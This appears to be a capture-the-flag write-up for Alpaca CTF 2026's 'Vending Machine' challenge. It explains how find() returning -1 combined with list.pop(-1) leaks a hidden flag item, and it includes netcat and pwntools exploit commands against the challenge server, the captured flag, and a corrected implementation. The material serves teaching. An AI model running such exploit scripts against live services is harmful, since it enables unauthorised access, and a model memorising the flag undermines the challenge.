Alpaca CTF 2026: Vending Machine

Challenge Information

AttributeDetails
EventAlpaca CTF 2026
CategoryMisc
ChallengeVending Machine
Remotenc 34.170.146.252 30573

Summary

A Python vending machine service tracks its inventory as a single concatenated string. When an item is purchased, the code calls str.find() to locate the first occurrence and then removes it via list.pop(). The fatal flaw: when an item is sold out, find() returns -1, and list.pop(-1) silently pops the last element of the list rather than raising an error. That last element is the flag character appended at the end of the stock string. Depleting the cheapest item and requesting one more triggers the leak.


Source Analysis

Stock Initialisation

class VendingMachine:
def __init__(self):
# inventory packed as a single string; 'f' (flag char) appended at the very end
self.stock = 'a'*30 + 'b'*60 + 'c'*20 + 'd'*50 + 'e'*40 + 'f'
self.item_names = {
'a': 'Apple Juice',
'b': 'Banana Smoothie',
'c': 'Cola',
'd': 'Dr. Alpaca',
'e': 'Energy Drink',
'f': 'Flag', # never meant to be purchasable
}

Initial stock levels:

KeyProductStock
aApple Juice30
bBanana Smoothie60
cCola20
dDr. Alpaca50
eEnergy Drink40
fFlag1 ← hidden

The Vulnerable Purchase Handler

def buy(self, mark):
loc = self.stock.find(mark) # returns -1 when sold out
stock_list = list(self.stock)
item = stock_list.pop(loc) # pop(-1) silently pops the LAST element!
self.stock = ''.join(stock_list)
name = self.item_names.get(item, 'Unknown')
if item == 'f':
print(f"You bought {name}.")
print(f"Flag: {open('flag.txt').read()}")
else:
print(f"You bought {name}. Enjoy!")

The Bug

The logic assumes find() will return a valid non-negative index. But Python’s str.find() returns -1 when the substring is not found — and Python’s list.pop(-1) treats -1 as “last element”, not as an error. So the sequence when stock is empty for letter c:

loc = self.stock.find('c') # → -1 (sold out)
item = stock_list.pop(-1) # → 'f' (the very last character!)
name = item_names['f'] # → 'Flag'
# condition item == 'f' is True → flag is printed

No exception is ever raised. Python’s negative indexing convention, which is a useful feature everywhere else, silently converts a “not found” sentinel into a valid “last item” access.


Exploit

Choosing the Cheapest Path

We need to exhaust the stock of exactly one item so that the next purchase of that item triggers find() == -1. The item with the fewest units is c (Cola) with only 20 in stock. Buying it 21 times exhausts the 20 real units on the 1st–20th request; the 21st request hits the bug.

One-liner (bash)

Terminal window
(for i in $(seq 1 21); do echo c; done; echo x) | nc 34.170.146.252 30573

Or with yes:

Terminal window
(yes c | head -n 21; echo x) | nc 34.170.146.252 30573

Python Script

from pwn import *
io = remote("34.170.146.252", 30573)
# drain Cola stock (20 units)
for _ in range(20):
io.sendlineafter(b"> ", b"c")
# 21st purchase: find('c') == -1 → pop(-1) → flag
io.sendlineafter(b"> ", b"c")
io.interactive()

Session Trace

> c
You bought Cola. Enjoy!
[... × 19 more ...]
> c
You bought Flag.
Flag: Alpaca{s0ld_0u7_m34ns_p0p_m1nus_0n3}
> x

Flag

Alpaca{s0ld_0u7_m34ns_p0p_m1nus_0n3}

Root Cause & Fix

What Went Wrong

Two independently reasonable behaviours combined into a vulnerability:

  1. str.find() returns -1 as a sentinel for “not found” (documented, expected).
  2. list.pop(-1) is valid Python for “pop the last element” (documented, expected).

Neither is a bug on its own. The bug is using the output of one as the input of the other without a guard.

Correct Implementation

def buy(self, mark):
loc = self.stock.find(mark)
if loc == -1: # explicit sold-out check
print("Sorry, that item is sold out.")
return
stock_list = list(self.stock)
item = stock_list.pop(loc)
self.stock = ''.join(stock_list)
print(f"You bought {self.item_names[item]}. Enjoy!")

Alternatively, str.index() raises ValueError instead of returning -1, making the failure mode explicit:

try:
loc = self.stock.index(mark)
except ValueError:
print("Sold out!")
return

Key Takeaways

  • find() vs index(): str.find() returns -1 on miss; str.index() raises ValueError. For control-flow paths that must handle missing items, index() is the safer default because it fails loudly.
  • Python negative indexing is not an error: -1 is a perfectly valid list index meaning “last element”. Code that threads a find() result directly into pop() is silently correct for in-stock items and silently wrong for out-of-stock items.
  • Sentinel values need explicit guards: Anytime a function signals failure through a special return value (like -1, None, "") rather than an exception, every call site must check for that sentinel before using the result.
  • Cheapest path matters: In a “drain N items” exploit, always target the smallest stock count — here c with 20 units, costing only 21 requests instead of buying 31+ of another item.

Tools Used

  • bash / netcat: Manual one-liner exploitation
  • pwntools: Scripted interaction for repeatability

References